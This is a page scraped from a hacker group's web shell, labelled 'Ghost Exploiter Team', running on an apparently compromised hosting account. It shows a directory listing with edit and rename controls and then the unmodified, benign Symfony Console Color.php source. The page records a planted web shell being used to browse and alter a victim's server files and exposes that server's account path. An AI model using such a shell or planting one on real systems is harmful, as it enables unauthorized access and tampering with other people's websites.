webshell

Ghost Exploiter Team Official

Directory >> /home/softsuitetech/public_html/DEMO/Restaurant_Backend/vendor/symfony/console/

File / Folder	Size	Action
.	-
Attribute	--	ren
CI	--	ren
Command	--	ren
CommandLoader	--	ren
Completion	--	ren
DependencyInjection	--	ren
Descriptor	--	ren
Event	--	ren
EventListener	--	ren
Exception	--	ren
Formatter	--	ren
Helper	--	ren
Input	--	ren
Logger	--	ren
Output	--	ren
Question	--	ren
Resources	--	ren
SignalRegistry	--	ren
Style	--	ren
Tester	--	ren
.htaccess	0.27KB	edt ren
Application.php	42.914KB	edt ren
CHANGELOG.md	8.942KB	edt ren
Color.php	4.996KB	edt ren
ConsoleEvents.php	2.123KB	edt ren
Cursor.php	4.074KB	edt ren
LICENSE	1.04KB	edt ren
README.md	0.665KB	edt ren
SingleCommandApplicatio...	1.752KB	edt ren
Terminal.php	4.856KB	edt ren
composer.json	1.677KB	edt ren
error_log	31.902KB	edt ren

<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Console;

use Symfony\Component\Console\Exception\InvalidArgumentException;

/**
 * @author Fabien Potencier <fabien@symfony.com>
 */
final class Color
{
    private const COLORS = [
        'black' => 0,
        'red' => 1,
        'green' => 2,
        'yellow' => 3,
        'blue' => 4,
        'magenta' => 5,
        'cyan' => 6,
        'white' => 7,
        'default' => 9,
    ];

private const BRIGHT_COLORS = [
        'gray' => 0,
        'bright-red' => 1,
        'bright-green' => 2,
        'bright-yellow' => 3,
        'bright-blue' => 4,
        'bright-magenta' => 5,
        'bright-cyan' => 6,
        'bright-white' => 7,
    ];

private const AVAILABLE_OPTIONS = [
        'bold' => ['set' => 1, 'unset' => 22],
        'underscore' => ['set' => 4, 'unset' => 24],
        'blink' => ['set' => 5, 'unset' => 25],
        'reverse' => ['set' => 7, 'unset' => 27],
        'conceal' => ['set' => 8, 'unset' => 28],
    ];

private string $foreground;
    private string $background;
    private array $options = [];

public function __construct(string $foreground = '', string $background = '', array $options = [])
    {
        $this->foreground = $this->parseColor($foreground);
        $this->background = $this->parseColor($background, true);

foreach ($options as $option) {
            if (!isset(self::AVAILABLE_OPTIONS[$option])) {
                throw new InvalidArgumentException(sprintf('Invalid option specified: "%s". Expected one of (%s).', $option, implode(', ', array_keys(self::AVAILABLE_OPTIONS))));
            }

$this->options[$option] = self::AVAILABLE_OPTIONS[$option];
        }
    }

public function apply(string $text): string
    {
        return $this->set().$text.$this->unset();
    }

public function set(): string
    {
        $setCodes = [];
        if ('' !== $this->foreground) {
            $setCodes[] = $this->foreground;
        }
        if ('' !== $this->background) {
            $setCodes[] = $this->background;
        }
        foreach ($this->options as $option) {
            $setCodes[] = $option['set'];
        }
        if (0 === \count($setCodes)) {
            return '';
        }

return sprintf("\033[%sm", implode(';', $setCodes));
    }

public function unset(): string
    {
        $unsetCodes = [];
        if ('' !== $this->foreground) {
            $unsetCodes[] = 39;
        }
        if ('' !== $this->background) {
            $unsetCodes[] = 49;
        }
        foreach ($this->options as $option) {
            $unsetCodes[] = $option['unset'];
        }
        if (0 === \count($unsetCodes)) {
            return '';
        }

return sprintf("\033[%sm", implode(';', $unsetCodes));
    }

private function parseColor(string $color, bool $background = false): string
    {
        if ('' === $color) {
            return '';
        }

if ('#' === $color[0]) {
            $color = substr($color, 1);

if (3 === \strlen($color)) {
                $color = $color[0].$color[0].$color[1].$color[1].$color[2].$color[2];
            }

if (6 !== \strlen($color)) {
                throw new InvalidArgumentException(sprintf('Invalid "%s" color.', $color));
            }

return ($background ? '4' : '3').$this->convertHexColorToAnsi(hexdec($color));
        }

if (isset(self::COLORS[$color])) {
            return ($background ? '4' : '3').self::COLORS[$color];
        }

if (isset(self::BRIGHT_COLORS[$color])) {
            return ($background ? '10' : '9').self::BRIGHT_COLORS[$color];
        }

throw new InvalidArgumentException(sprintf('Invalid "%s" color; expected one of (%s).', $color, implode(', ', array_merge(array_keys(self::COLORS), array_keys(self::BRIGHT_COLORS)))));
    }

private function convertHexColorToAnsi(int $color): string
    {
        $r = ($color >> 16) & 255;
        $g = ($color >> 8) & 255;
        $b = $color & 255;

// see https://github.com/termstandard/colors/ for more information about true color support
        if ('truecolor' !== getenv('COLORTERM')) {
            return (string) $this->degradeHexColorToAnsi($r, $g, $b);
        }

return sprintf('8;2;%d;%d;%d', $r, $g, $b);
    }

private function degradeHexColorToAnsi(int $r, int $g, int $b): int
    {
        if (0 === round($this->getSaturation($r, $g, $b) / 50)) {
            return 0;
        }

return (round($b / 255) << 2) | (round($g / 255) << 1) | round($r / 255);
    }

private function getSaturation(int $r, int $g, int $b): int
    {
        $r = $r / 255;
        $g = $g / 255;
        $b = $b / 255;
        $v = max($r, $g, $b);

if (0 === $diff = $v - min($r, $g, $b)) {
            return 0;
        }

return (int) $diff * 100 / $v;
    }
}